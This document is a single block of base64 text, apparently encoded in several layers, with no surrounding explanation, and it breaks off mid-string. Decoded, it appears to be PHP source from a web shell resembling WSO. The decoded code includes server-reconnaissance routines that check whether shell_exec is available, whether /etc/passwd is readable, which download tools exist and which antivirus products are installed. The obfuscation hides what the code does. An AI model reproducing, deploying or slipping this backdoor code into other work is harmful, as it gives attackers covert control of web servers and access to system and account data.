YjB0VWMwdEpRMEZuU1Vnd1oxcFhlSHBhVjJ4dFNVTm9iV1JYTldwa1IyeDJZbXc1YkdWSGJIcGtTRTF2U2pOT05XTXpVbXhpVTJOd1MxTkNOME5wUVdkSlEwRm5TVU5CWjJJeVNtWmpNMUpvWTI1UmIwdFVjMHRKUTBGblNVTkJaMGxEUWtGak0yeDZaRWRXZEV0RFVuQmlhV3MzUTJsQlowbERRV2RKUTBGblNrYzVNV1JEUVRsSlJ6bHBXREprYkdSR09XcGlSMVpvWW1sbmNFOTNiMmRKUTBGblpsTkNiR0pJVG14aFYxbG5TMGRhTVdKdFRqQmhWemwxV0RKV05HRllUakJqZVdkdVl6Sm9iR0pIZUdaYVdHaHNXWGxqY0V0VFFqZERhVUZuU1VOQlowbERRV2RLUnpreFpFTkJPVWxJVG05YVYzaHpXREpXTkZwWFRXOUtSMngxUzFSelMwbERRV2RKU0RCbldsZDRlbHBYYkcxSlEyaHdZekU1ZVZwWVRuWmtXRXBxV2xObmExcHBRVGxKUlVKM1lqTkNiR0pwWjJ0aFZ6UnpTVzVKYVV0VGEzQkpTSE5MU1VOQlowbERRV2RKUTBGcllqTldNRWxFTUdkSmFVazNRMmxCWjBsRFFXZEpRMEZuWkRKb2NHSkhWVzlKVlVKdFdsYzViVXREVW0xTFUydExTVU5CWjBsRFFXZEpRMEZuU1VOQlowcEhPVEZrUTBGMVVGTkNiV050Vm1oYVEyZHJXbWwzZUUxRVNUQkxWSE5MU1VOQlowbERRV2RKUTBKM1dUSjRkbU15Vlc5S1IxbHdUM2R2WjBsRFFXZG1VVzluU1VOQloyTnRWakJrV0VwMVNVTlNkbVJZVVRkRGJqQkxTVUZ3YldSWE5XcGtSMngyWW1sQ00yTXlPVmRoVjFZelZUSnNObHBUWjJ0amVXdG5aWGR2WjBsRFFXZGhWMWxuUzBkc2VsZ3liSFZrUTJkclkzbHJjRU5wUVdkSlEwRm5TVU5CWjBwSVRXZFFVMEo2WTBoS2NHSnVVbTFMUTBsc1pGTkpjMGxEVW5wTFZITkxTVU5CWjBsRFFVdEpRMEZuU1Vkc2JVdERVbnBKUkRRNVNVUkZkMDU2VFROT1JFVTBUV3BSY0VOcFFXZEpRMEZuU1VOQloyTnRWakJrV0VwMVNVaE9kMk50YkhWa1IxbHZTbmxWZUV4cVNtMUtlWGRuU2toTloweDVRWGhOUkdONlRucFJlRTlFU1RCSlEydDFTVU5qWjFJd1NXNVBkMjluU1VOQloxcFhlSHBhVjJ4dFMwTlNla2xFTkRsSlJFVjNUa1JuTVU1NldYQkRhVUZuU1VOQlowbERRV2RqYlZZd1pGaEtkVWxJVG5kamJXeDFaRWRaYjBwNVZYaE1ha3B0U25sM1owcElUV2RNZVVGNFRVUlJORTVVWXpKSlEydG5UR2xCYmtsRk1VTktlbk5MU1VOQlowbEhWbk5qTWxad1dtbG5hMk41UVN0UVUwRjRUVVJKTUV0UmIyZEpRMEZuU1VOQlowbElTbXhrU0ZaNVltbENlbU5JU25CaWJsSnRTME5qYkUxVE5IbGFhV056U1VOU2VrbERPR2ROVkVGNVRrTkJjRWxETkdkS2VVSk1VV2xqTjBOcFFXZEpRMEpzWWtoT2JFTnBRV2RKUTBGblNVTkJaMk50VmpCa1dFcDFTVU5TZWtsRE5HZEtlVUpEU25welMyWlJiMmREYlZveFltMU9NR0ZYT1hWSlNHUjZZakZDYkdOdE1YcExRMUozUzFOQ04wTnBRV2RKUTBKd1dtbEJiMHREVW5kSlExbG5UVWhvUkUxRVFYZExVMEU1VUZOQmQyVkZUWGROUkVGd1NrZHJaMUJUUVc1amVXTTNRMmxCWjBsRFFteGlTRTVzWVZkWlowdERaMnRqUTBGdFNVUkNORkZVUVhkTlEydG5VRlF3WjAxSWFFSk5SRUYzUzFOU2NFbEVNR2RLTW5kdVQzZHZaMGxEUVdkYVYzaDZXbGRzYlVsRFoyOUtTRUZuU21sQmQyVkVaM2ROUkVGd1NVUXdPVWxFUWpSUFJFRjNUVU5yYTJGVFFUbEpRMk4wU25welMwbERRV2RKUjFaell6SldjRnBwUVc5TFExSjNTVU5aWjAxSVp6Sk5SRUYzUzFOQk9WQlRRWGRsUkZsM1RVUkJjRXBIYTJkUVUwRnVXV2xqTjBOcFFXZEpRMEpzWWtoT2JHRlhXV2RMUTJkclkwTkJiVWxFUWpST1JFRjNUVU5yWjFCVU1HZE5TR2N3VFVSQmQwdFRVbkJKUkRCblNqSlJiazkzYjJkSlEwRm5XbGQ0ZWxwWGJHMUpRMmR2U2toQlowcHBRWGRsUkVsM1RVUkJjRWxFTURsSlJFSTBUV3BCZDAxRGEydGhVMEU1U1VOa2FrcDZjMHRKUTBGblNVZFdjMk15Vm5CYWFVRnZTME5TZDBsRFdXZE5TR2Q0VFVSQmQwdFRRVGxRVTBGM1pVUkZkMDFFUVhCS1IydG5VRk5CYm1ORFl6ZERhVUZuU1VOQ2JHSklUbXhKUTFKd1NVUXdaMG96Vlc1UGQyOW5TVU5CWjBwSGEyZE1hakJuUzBObmEyTkRRVzFKUkVJMFRVUkZkMDFEYTJkUWVVRnVZMmxqWjA5cFFXNU1VMk53VDNkdlowbERRV2RLUjJ0blRHb3daMHREWjJ0alEwRnRTVVJDTkUxRVFUUk5RMnRuVUhsQmJtUjVZMmRQYVVGdVRGTmpjRTkzYjJkSlEwRm5Ta2RyWjB4cU1HZExRMmRyWTBOQmJVbEVRalJOUkVFd1RVTnJaMUI1UVc5TFExSjNTVU5aWjAxSVozZFBSRUYzUzFOQkwwbERaSHBLZVVFMlNVTmtORXA1UVhCSlJHOW5TME5uYTJORFFXMUpSRUkwVFVSbmQwMURhMmRRZVVGdVZYbGpaMDlwUVc1TVUyTndTMVJ6UzBsRFFXZEpRMUp3U1VNME9VbERaMjlLU0VGblNtbEJkMlZFUVhkTmFrRndTVVE0WjBvelNXNUpSRzluU25rd2JrdFVjMHRKUTBGblNVTlNjRWxETkRsSlEyZHZTa2hCWjBwcFFYZGxSRUYzVFZSQmNFbEVPR2RLTTJOdVNVUnZaMHA1TUc1TFZITkxTVU5CWjBsRFVuQkpRelE1U1VObmIwcElRV2RLYVVGM1pVUkJkMDFFWjNCSlJEaG5TME5uYTJORFFXMUpSRUkwVFVSUmQwMURhMmRRZVVGdVkzbGpaMDlwUVc1bFEyTm5TMU5CTmtsRFoyOUtTRUZuU21sQmQyVkVRVEJOUkVGd1NVUTRaMG94VFc1SlJHOW5Tbmt3Ymt0VGF6ZERhVUZuU1VOQmEyRlRRWFZRVTBGdlMwTlNkMGxEV1dkTlNHZDNUVVJCTUV0VFFTOUpRMlI1U25sQk5rbERZM1JLZVdzM1EybEJaMGxEUVd0aFUwRjFVRk5CYjB0RFVuZEpRMWxuVFVobmQwMUVRWGxMVTBFdlNVTmtNMHA1UVRaSlEyTjBTbmxyTjBOcFFXZEpRMEZyWVZOQmRWQlRRVzlMUTFKM1NVTlpaMDFJWjNkTlJFRjRTMU5CTDBsRFoyOUtTRUZuU21sQmQyVkVRWGxOUkVGd1NVUTRaMG96VVc1SlJHOW5Tak5uYmtsRGEyZFBhVUZ2UzBOU2QwbERXV2ROU0dkM1RXcEJkMHRUUVM5SlEyUlZTbmxCTmtsRFkzUktlV3R3VDNkdlowbERRV2RqYlZZd1pGaEtkVWxEVW5CUGQzQTVRMmxCUzFwdVZuVlpNMUp3WWpJMFoyUXpUblpWUjFaNVlsaE9SR0l5ZUhaamFXZHJXbWxyWjJWM2IyZEpRMEZuWVZkWlowdERSa0ZoV0U1bVkyMVdhRnBIUm1saVIxVnZTa2RaY0V0UmIyZEpRMEZuU1VOQlowbElTbXhrU0ZaNVltbEJibEJIV25aaWJsRm5XVEk1YzJJelNUbEpNRnBIVFVSQmQwMUVORzVKUXpSblpETk9kbFZIVm5saVdFMXZVVWRhY0dKSFZuZGFXRXAwWTNsbmExcHBhM0JKUXpSblNucDNkbHB0T1hWa1JEUnVUM2R2WjBsRFFXZGFWM2g2V2xkc2JVbERaMmhSUjJ4NldETmtlV0ZZVW1oWmJYaHNTME5TYlV0VGEwdEpRMEZuU1VOQlowbERRbmxhV0ZJeFkyMDBaMHA2ZUcxaU1qVXdTVWRPZG1KSE9YbFFXR1J2WVZoU2JGQnBZMmRNYVVJell6STVVVnBZU25SamVXaEJXbTFzYzFwWVFteGpiVEY2UzBOU2JVdFRhMmRNYVVGdVVFTTViV0l5TlRCUWFXTTNRMmxCWjBsRFFteGlTRTVzUTJsQlowbERRV2RKUTBGblkyMVdNR1JZU25WSlEyTTRXbTA1ZFdSRFFtcGlNbmgyWTJvd2FrMXFWbTFhYWtGM1VHbGpaMHhwUWpOak1qbFJXbGhLZEdONWFFRmFiV3h6V2xoQ2JHTnRNWHBMUTFKdFMxTnJaMHhwUVc1UVF6bHRZakkxTUZCcFl6ZERiakJMU1VGd2JXUlhOV3BrUjJ4MlltbENNMk15T1ZSWk1rWjFXa2RzZVV0RFVtdGhXRWx3U1VoelMwbERRV2RKUjJ4dFMwZGFNV0p0VGpCaFZ6bDFXREpXTkdGWVRqQmplV2RwWXpKT2FHSnRVbkJqYVVsd1MxTkNOME5wUVdkSlEwRm5TVU5CWjJOdFZqQmtXRXAxU1VoT2FsbFhOV3RoV0VsdlNrZFNjR05wYXpkRGFVRm5TVU5DT1VsSFZuTmpNbFZuWlhkdlowbERRV2RKUTBGblNVTlNhMkZEUVdkUVUwSjJZMGRXZFZwSGJIbExRMUpyWVZoSmNFOTNiMmRKUTBGblNVTkJaMGxJWkc5aFYzaHNTVU5vYlZsWGVIcGFVMEZvVUZRd1owdERVbTFoVjNoc1ltMUdkRnBUUVRsSlNFcHNXVmRTYTJGWVNXOUtSMUp2UzFOcmNFTnBRV2RKUTBGblNVTkJaMGxEUVdkSlExSnRZVmQ0YkdNeGRHUkpSREJuU2tkYWNHSkhWblZaVnpGc1QzZHZaMGxEUVdkSlEwRm5TVWhLYkdSSVZubGlhVUZyV20xc2MxcFlUVGREYVVGblNVTkNPVU51TUV0SlFYQnRaRmMxYW1SSGJIWmlhVUl6WXpJNVdHRkhiR3BoUTJkclkwTnJaMlYzYjJkSlEwRm5Ta2hDYUdSSFoyZFFVMEl6WXpJNVJtVkRaMjVrTW1od1dUSm5aMHA1UVhWSlExSjNTMVJ6UzBsRFFXZEpSMnh0UzBOR2JHSllRakJsVTJkclkwZEdNR0ZEYTNCRGFVRm5TVU5CWjBsRFFXZGpiVll3WkZoS2RVbERVbmRaV0ZKdlQzZHZaMGxEUVdkamJWWXdaRmhLZFVsSFdtaGlTRTVzVDNkd09VTnBRVXRhYmxaMVdUTlNjR0l5TkdkWlYwNHdZVmM1ZFZVeVZtcFRWelZ0WW5sbmNFbEljMHRKUTBGblNVaGtlbUl3YUd4WlYxSnNZMmxuY0U5M2IyZEpRMEZuV2xkT2IySjVRVzVRUjJkNFVHeE9iR051V214amFVSjZXbGRPTVdOdGJEQmxVMEp3WW0xYWRtTnRNV2hrUjJ4MlltcDNkbUZFUlN0UVIxSndaR2xDYW1KSFJucGplakZxWWpJMU1GcFhOVEJRYVdNM1EybEJaMGxEUW0xa1Z6VnFaRWRzZG1KcFFqTmpNamxVV2xkT1VWbFlTbWhpVTJkclltbDNaMHBJV1hCSlNITkxTVU5CWjBsRFFXZEpRMEZyWkdsQk9VbElVbmxoVnpCdlNraFpjRTkzYjJkSlEwRm5TVU5CWjBsSGJHMUxRMUl5UzFOQ04wTnBRV2RKUTBGblNVTkJaMGxEUVdkSlIxWnFZVWM0WjBwNmVIcGpSMFoxVUdsaloweHBRV3RpYVVGMVNVTmpOa2xFZDNaak0wSm9ZbW8wYms5M2IyZEpRMEZuU1VOQlowbERRV2RKUTBKd1dtbG9lbVJJU25kaU0wMXZTa2haYzBsRFNtTmlhVWx3U1VRd09WQlRRbTFaVjNoNldsTnJTMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpRMEZuU1VkV2FtRkhPR2RLU0ZsblRHbEJibEJIU25sUWFXTTNRMmxCWjBsRFFXZEpRMEZuU1VOQlowbEhWbk5qTWxWTFNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpSMVpxWVVjNFowcDZlSGRqYlZWbldUSjRhR016VFRsaVYzZDRVR2xqWjB4cFFXdGthVUYxU1VOak9Fd3pRbmxhVkRSdVQzZHZaMGxEUVdkSlEwRm5TVWd3UzBsRFFXZEpTREJMU1VGdlowbERRV2RrTTA1MlZUSldhbFZIUm5sWlZ6QnZTakZPYkdOdVdteGphVUo2WWpKYU1HUXlSbmxhVTJOelNVVkNibHBZVW14aWJsbHZTakZPUmxWc1drWlZiRGxVVkRCYVZWWXdSbE5TVTJOd1MxUnpTMGxEUVdkSlIyeHRTMGRhTVdKdFRqQmhWemwxV0RKV05HRllUakJqZVdkdVdWaENhRmt5YUd4WU1tUnNaRVk1ZEdJeVVqRmlSMVo2U25scmNFTnBRV2RKUTBGblNVTkJaMlF6VG5aVk1sWnFWVWRHZVZsWE1HOUtNSGgyV1ZkU2JGcERRa0pqUjBacVlVZFZaMkpYT1d0a1YzaHNZM2xqYzBsSGJIUmpSM2gyV2tkVmIwcDVkMmRLZVhkbldWaENhRmt5YUd4WU1tUnNaRVk1ZEdJeVVqRmlSMVo2UzBOcmNFdFVjMHRKUTBGblNVaGtlbUl4VG14Wk1VSm9ZMjFHZEV0RFpFVmhXRTVvV1cxNGJGcERRbEZUUmtGblVtNVdkVmt6VW5CaU1qVjZTbmwzWjBwRlpFMVVNRXBDVkVaT1lrb3lVbkJqTWtacFlrZFdabHB1Vm5WWk0xSndZakkxZWtveE1DOUtSV1JOVkRCS1FsUkdUbUpLTWxKd1l6SkdhV0pIVm1aYWJsWjFXVE5TY0dJeU5YcEtNVEEyU2pJMWRtSnRWVzVMVkhOTFNVTkJaMGxJWkhwaU1VNXNXVEZDYUdOdFJuUkxRMlJRWTBkV2RVbEhTbWhqTWxWbldrZHNlVXA1ZDJkUlIyeDFZVlk1YmxwWVVXOUtNamwzV2xjMVpsbHRSbnBhVjFKd1kybGpjRXRVYzB0SlEwRm5TVWhrZW1JeFRteFpNVUpvWTIxR2RFdERaRlJaVjFwc1NVY3hkbHBIVldkYVdHaHNXWGxDYTJGWVNXNU1RMEpCWVZjMWNGZ3laR3hrUTJkdVl6SkdiVnBXT1hSaU1sSnNXREpXTkZwWFRtWmFSMng1U25scmNFOTNiMmRKUTBGblpETk9kbFV5Vm1wVlIwWjVXVmN3YjBveFRtaGFiVlZuWWxjNWExcFRRbkJpYlU1elpGZFNiRWxIVW5CamFXTnpTVVZDY0dKdGJHWmFNbFl3UzBOa2VsbFhXbXhZTWpGMldrZFdabUZYTldwaVNGWnJXbFk1YTJGWVNXNUxVMnMzUTJsQlowbERRak5qTWpsVVdsZE9VVmxZU21oaVUyZHVXVEZXVTFSRFFucGtXRUozWWpOS01FcDVkMmRhYmxaMVdUTlNjR0l5TldaYVdHaHdZek5TZWt0RFpHcGtXRXB6V0ROYWJHTnVUbkJpTWpSdVMxUTRibHBYTldoWmJYaHNXa05qTmtveU5YWktlV3MzUTJsQlowbERRV3RrUjFaMFkwUXhhR051U21obFUyZHdUM2R2WjBsRFFXZGhWMWx2V201V2RWa3pVbkJpTWpWbVdsaG9jR016VW5wTFEyUjBaVmhPZUdKR09XNWFXRkptV1RKNGNGcFhOVEJZTW14MVdtMDRia3RUYTB0SlEwRm5TVU5CWjBsRFFXdGtSMVowWTBaMFpFbEVNR2RKYXpFMVZUTkdjMGxEWjJsTWJURTFZek5HYzFneVpHeGtSamxxWWtkc2JHSnVVbVpoVnpWdFlubG5jRXhwU1hCSmFuTkxTVU5CWjBsSGJHMUxSMW94WW0xT01HRlhPWFZZTWxZMFlWaE9NR041WjI1aVdFNTZZMWQ0WmxreU9YVmliVlpxWkVOamNFdFJiMmRKUTBGblNVTkJaMGxEVWpCYVZ6RjNWekV3WjFCVFFXbFVWazVVVlZWM2FVOTNiMmRKUTBGbllWZFpiMXB1Vm5WWk0xSndZakkxWmxwWWFIQmpNMUo2UzBOa2Qxb3hPV3BpTWpWMVdsZE9NRXA1YTNCRGFVRm5TVU5CWjBsRFFXZEtTRkpzWWxoQ1lsaFRRVGxKUTBwUllqTk9NRm96U214Vk1VWk5TV3B6UzBsRFFXZEpSMnh0UzBkYU1XSnRUakJoVnpsMVdESldOR0ZZVGpCamVXZHVZakpPY0ZneVRuWmliVFZzV1ROUmJrdFRhMHRKUTBGblNVTkJaMGxEUVd0a1IxWjBZMFowWkVsRU1HZEphemw1V1ZkT2MxcFRTVGREYVVGblNVTkNNMk15T1ZSYVYwNVJXVmhLYUdKVFoyNVZNMVozWTBjNWVXUkhWbXRKUjFKb1pFZEdhVmxZVG14amVXTnpTVWRzZEdOSGVIWmFSMVZ2U25sM1owcDVkMmRLU0ZKc1lsaEJjRXRVYzB0SlEwRm5TVWRXYW1GSE9HZEtlbmhwWTJvMGJrOTNiMmREYVVGblNVTkNjRnBwWjJ0U01IaFFVV3RHVFZVeGMyNWlNMDF1V0ZOQk9WQlRRVzVpYld3MFNubHJaMlYzYjJkSlEwRm5TVU5CWjBsRFFXZEpRMEl6WXpJNVZGcFhUbEZaV0Vwb1lsTm5ibFZ0Vm1oYVIwWnBZa2RWWjB3eVZqQlplVGwzV1ZoT2VtUXlVVzVNUTBKQllWaE9abU50Vm1oYVIwWnBZa2RWYjBwNU9XeGtSMDEyWTBkR2VtTXpaR3RLZVdzdlNXNXNiR041UVRoWlUwSnZZMjFXYlZCVFkycEtlVUoyWW0xT2MyRlhUbkpRVTJSdVMwWjNhVkp0YkhOYVdFNVZZakk1YzJNeGQybE1RMEpqU1drNWJHUkhUWFpZUTBselNVWjNhV05IUm5wak0yUnJXRU5KY0VwNk5XSmtiV3hzWkRFd09Fd3lSU3RKYW05dVltMDRia3RVYzB0SlEwRm5TVU5CWjBsRFFXZEpRMEZuWkROT2RsVXlWbXBWUjBaNVdWY3diMG94U214WlYxSm9XVzE0YkVsRE9XeGtSMDEyWXpKb2FGcEhPVE5LZVhkblVVZHNlbGd6U214WlYxSm9XVzE0YkV0RFkzWmFXRkpxVEROT2IxbFhVblprZVdOd1VIbEtOVnBZVFdkUVIwVm5ZVWhLYkZwcU1HNUplV05uWWpJMWFtSkhiR3BoZWpCdVdubG9ZMGxyV25CaVIxWjZWa2M1ZG1KSVRtTkphWGRuV0VOSmRscFlVbXBNTVhkcFRFTkNZMGx1VG05WlYxSjJaREYzYVV0VFl5dFhNMXB3V2xoa1pGQkRPV2hRYVVrMlNqSTFka3A1YXpkRGFVRm5TVU5CWjBsRFFXZEpRMEZuU1Voa2VtSXhUbXhaTVVKb1kyMUdkRXREWkZCVmVVSXlXbGhLZW1GWE9YVktlWGRuVVVkYWNHSkhWbVphTWxZd1dESk9kbUp1VW14aWJsSjZTME5qZG1OSVNuWlplVGt5V2xoS2VtRlhPWFZLZVd0d1QzZHZaMGxEUVdkSlEwRm5TVU5CWjBsRFFqTmpNamxVV2xkT1VWbFlTbWhpVTJkdVVrZHNlbVJJU1dkaWJVWjBXbE5qYzBsRlFtMWhWM2hzV0RKa2JHUkdPV3BpTWpVd1dsYzFNR041WjI1TU1sWXdXWGs1Y0dNelRqRmFVelYxV2xoUmJrdFRhemREYVVGblNVTkJaMGxEUVdkSlEwRm5TVWRzYlV0RFJXdFNNSGhRVVd0R1RWVXhjMjVqTWtadFdsWTVkR0l5VW14S01UQndTVWh6UzBsRFFXZEpRMEZuU1VOQlowbERRV2RKUTBGblNVTlNNV015Vm5sYWJsWnpTVVF3WjFsWVNubFpXR3R2U2pKa2FsbDVZM05LTW5ocVdYbGpjMG95VG1wS2VYZHVZa2RSYmt4RFpIUlpWM1JzU25sM2JtTkhhSGRLZVhkdVkwZFdlV0pEWTNOS00wSTFaRWRvZG1KcFkzTktNMG94V1c1cmJreERaREJaV0VsdVRFTmtibVZ0YkhkS2VYZHVXVzV3Y0dORFkzTktNa28yWVZoQmVVcDVkMjVpYlUxdVRFTmtjMkl5VG1oa1IxVnVURU5rZW1SWGJHdGpSMVo1WWtOamNFOTNiMmRKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5CWjBwSFVtaGliV1JzWTJsQk9VbEhSbmxqYlVZMVMwTmtjbGxZV1c1TVEyUjFZakpSZWsxcFkzTktNa3ByV1RJNWVWcFhVVzVNUTJReFpHNU9hbGxYTkc1TVEyUjZXVmhaYmt4RFpHdGpibVJzV1cxUmJreERaR3BpUjBaMFdrTmpjMG96U25KaFNGWjFaRWRXZVVwNWQyNVpNbWh5WTIwNWRtUkhkSEJrUTJOelNqSnNkMlJIUm1saVIxWjZTbmwzYm1GWVFtMWtlV056U2pOU2VXRllRak5oV0Vwc1NubDNibU15YUhCYVYzaHJXVEpOYmt4RFpIZGlNMG93WXpKV2RXUklTalZLZVhkdVl6STFkbU51VVc1TVEyUjJZek5PYkZsNVkzTktNbmh3V2toT2FGcEhNRzVNUTJRd1dUTkNjMkl5VW01S2VYZHVZek5vY0ZwRFkzTktNbmgyV2pKT2IxcFhUbkpLZVhkdVlrYzVibVF5UmpCWk1tZHVURU5rZW1WWVRuUlpXRTV5U25sM2JtVnRNV2xqTWs1b1kwTmpjMG96VG1oa01qRndZa2QzYmt4RFpETmlNMHAwWXpKT2FHSnBZM05LTWpWd1ltMXdhRXA1YXpkRGFVRm5TVU5CWjBsRFFXZEpRMEZuU1VOQlowbERRV3RhUnprelltMTRkbGxYVW14amJrMW5VRk5DYUdOdVNtaGxVMmR1WkRKa2JHUkRZM05LTWxwc1pFZE9iMHA1ZDI1aVNHeDFaVU5qYzBveWVIQmliWFI2U25sM2Jsa3pWbmxpUTJOelNqSmtiR1JEWTNOS01uZ3pZME14ZEdGWVNubGlNMGx1UzFSelMwbERRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5TVWRXYW1GSE9HZEtlbmhwWTJvMGJrOTNiMmRKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5CWjBwSVVteGlXRUU1V1ZoS2VWbFlhMjlMVkhOTFNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpSMXAyWTIxV2FGa3laMmRMUTFJeFl6SldlVnB1Vm5OSlIwWjZTVU5TY0dSSFZuUkxVVzluU1VOQlowbERRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5TVWRzYlV0SVpIcGlNV1J2WVZkT2IwdERVbkJrUjFaMFMxTnJTMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpRMEZuU1VOQlowbERRV2RKUTBGblNraFNiR0pZUW1KWVUwRTVTVU5TY0dSSFZuUlBkMjluU1VOQlowbERRV2RKUTBGblNVTkJaMGxEUVdka00wNTJWVEpXYWxWSFJubFpWekJ2U2pGV2VscFlTbTFrVjNkdVRFTkNjR0pZUW5OaU1sSnNTME5qYzBsRFkzTktTRkpzWWxoQmNFdFVjMHRKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsRFVqQmFWekYzVUZkR2VXTnRSalZMUTJzM1EybEJaMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpRMEp0WWpOS2JGbFhUbTlKUTJkcldrZEdkVm95Vm5sSlIwWjZTVU5TY0dSSFZuUkxVVzluU1VOQlowbERRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5TVWRzYlV0SVpIcGlNV1J2WVZkT2IwdERVbkJrUjFaMFMxTnJTMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpRMEZuU1VOQlowbERRV2RKUTBGblNraFNiR0pZUW1KWVUwRTVTVU5TY0dSSFZuUlBkMjluU1VOQlowbERRV2RKUTBGblNVTkJaMGxEUVdka00wNTJWVEpXYWxWSFJubFpWekJ2U2pCU2FHSnRaR3hqYVdOelNVZHNkR05IZUhaYVIxVnZTbmwzWjBwNWQydGtSMVowWTBOcmNFOTNiMmRKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5CWjBwSVVteGlXRUU1V1ZoS2VWbFlhMjlMVkhOTFNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpSMXAyWTIxV2FGa3laMmRMUTFKcllqTmtkV0pIT1doYVIxWjVZM2xDYUdONVFXdGhXRkpzWWxOclMwbERRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsRFFuQmFhV2d6WXpJNVdHRkhiR3BoUTJkcllWaFNiR0pUYTNCRGFVRm5TVU5CWjBsRFFXZEpRMEZuU1VOQlowbERRV2RKUTBGblNVTkJaMGxEVWpCYVZ6RjNWekV3WjFCVFFXdGhXRkpzWWxSelMwbERRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5TVWhrZW1JeFRteFpNVUpvWTIxR2RFdERaRVZpTTJSMVlrYzVhRnBIVm5samVXTnpTVWRzZEdOSGVIWmFSMVZ2U25sM1owcDVkMnRrUjFaMFkwTnJjRTkzYjJkSlEwRm5TVU5CWjBsRFFXZEpRMEZuU1VOQloxcFhUbTlpZVVGdVVFZEtlVXg2Tkc1UGQyOW5TVU5CWjBsRFFXZEpRMEZuU1VOQlowbERRV2RrTTA1MlZUSldhbFZIUm5sWlZ6QnZTakJvUlZKRFFucGpSMFpxV2xOamMwbElaSHBpTUZZMFMwTmthMXBwUVhSaFEyTndTMVJ6UzBsRFFXZEpRMEZuU1VOQlowbERRV2RKUTBGblNVaGtlbUl4VG14Wk1VSm9ZMjFHZEV0RFpFbGlNMDR3WTNsamMwbEZRbTFoVjNoc1dESmtiR1JHT1dwaU1qVXdXbGMxTUdONVoyNU1NbFl3V1hrNWIySXpUakJqZVdOd1MxUnpTMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpRMEZuU1VkV2FtRkhPR2RLZW5ocFkyazRLMUJJVG5kWlZ6UXJZMGM1ZW1GWWFHWmFNbFl3WTBoa01XRlhVV2RMUTBwVFdsZEdhMGxwUVhaYVdGSnFURE5DYUdNelRqTmFRMnM0VEROT2QxbFhOQ3RRU0ZKb1dXMTRiRkJxZUcxaU0wcDBTVWM1ZFdNelZtbGlWMnd3VUZaM2JscDVhSFZrVjNoelRFYzFNV0pIZDNOSmFsVnBURWhTYjJGWVRYVmpSMFo1V1Zjd2VFeHVXbWhpU0Zac1RFaFNiMkZZVFhWalIwWjVXVmN3ZVV4dVdtaGlTRlpzUzFSMGVWcFlVakZqYlRSbldtMUdjMk15VlRkWVEyTXJVRWhTZVZCcWVEQmFSRFZIWTIwNWRGQkRPVEJhUkRRNFpFZFJLMUJIYkhWalNGWXdTVWhTTldOSFZUbGtSMVkwWkVOQ2RWbFhNV3hRV0VKb1kyMUdkRTFUUWpKWlYzZ3hXbFF3ZDFCcWQzWmtSMUVyVUVNNU1HTnFORGhrU0VrclVFaFNhMUJzVW5aUVF6a3dXa1EwT0dSSFVTdFFSMngxWTBoV01FbElValZqUjFVNVpFZFdOR1JEUW5WWlZ6RnNVRmhDYUdOdFJuUk5hVUl5V1ZkNE1WcFVNSGhOUkVGM1VHcDNkbVJIVVN0UVF6a3dZMm8wT0V3elVtaFpiWGhzVUdwNGNHSnVRakZrUTBJd1pWaENiRkJZVGpGWmJURndaRU5DTWxsWGVERmFWREJwVUdvMGFWQnFkM1phYlRsNVlsUTBiazkzYjJkSlEwRm5TVU5CWjBsRFFXZEpRMEZuU1VOQloyRlhXV2RMUjJ4Nll6SldNRWxEWjJ0WU1VSlFWVEZTWWtvelFYbEtNVEJ6U1VOU1psVkZPVlJXUm5OdVkwUk5ibGhUYTJkS2FWbG5ZVmhPWm1KdVZuUmFXRXB3V1hsbmExZ3hRbEJWTVZKaVNqTkJlVW94TUhCSlExbHRTVWRzZWxneU5URmlWMVo1WVZkTmIwcEdPVkZVTVU1VlYzbGtkMDE1WkdSTFUydG5aWGR2WjBsRFFXZEpRMEZuU1VOQlowbERRV2RKUTBGblNVTkJaMGxEVWpCYVZ6RjNTVVF3WjBscFNUZERhVUZuU1VOQlowbERRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5XbTA1ZVV0RWMydFlNVUpRVlRGU1lrb3pRWGxLTVRCblVFUXdaMHBHT1ZGVU1VNVZWM2xrZDAxNVpHUlBlVkptVlVVNVZGWkdjMjVqUkVsdVdGTnpja3RUUWpkRGFVRm5TVU5CWjBsRFFXZEpRMEZuU1VOQlowbERRV2RKUTBGblNVTkJaMGxEVWpGaFYxRm5VRk5DUVdOSE9YcGhXR2htV2pKV01HTklaREZoVjFGdlNrWTVVVlF4VGxWWGVXUjNUV2xrWkV0VWMwdEpRMEZuU1VOQlowbERRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5CWjJGWFdXZExRMUl4WVZkUmNFTnBRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpRMEZuU1VOQlowbERRV3RrUjFaMFkwTkJkVkJUUW5GaU1teDFTME5qTmtwNWQydGtWMnhyUzFNMGFWaEhOR2xQZDI5blNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpRMEZuU1Vnd1MwbERRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsRFFteFpNbWgyU1VOak9GbHVTWFpRYVdNM1EybEJaMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpRMEZuU1VOQloyUXpUblpWTWxacVZVZEdlVmxYTUc5S01WWjZXbGhLZWtwNWQyZEtTRkpzWWxoQmNFOTNiMmRKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5CWjJaUmIyZEpRMEZuU1VOQlowbERRV2RKUTBJNVEybEJaMGxEUWpsSlIxWnpZekpWWjJWM2IyZEpRMEZuU1VOQlowbElaSHBpTVU1c1dURkNhR050Um5STFEyUlFWWGxDVjFwWVNucGhWemwxU25sNE0yTXlPVVpsUTJkdVpHMVdlVXA1YTNCUGQyOW5TVU5CWjB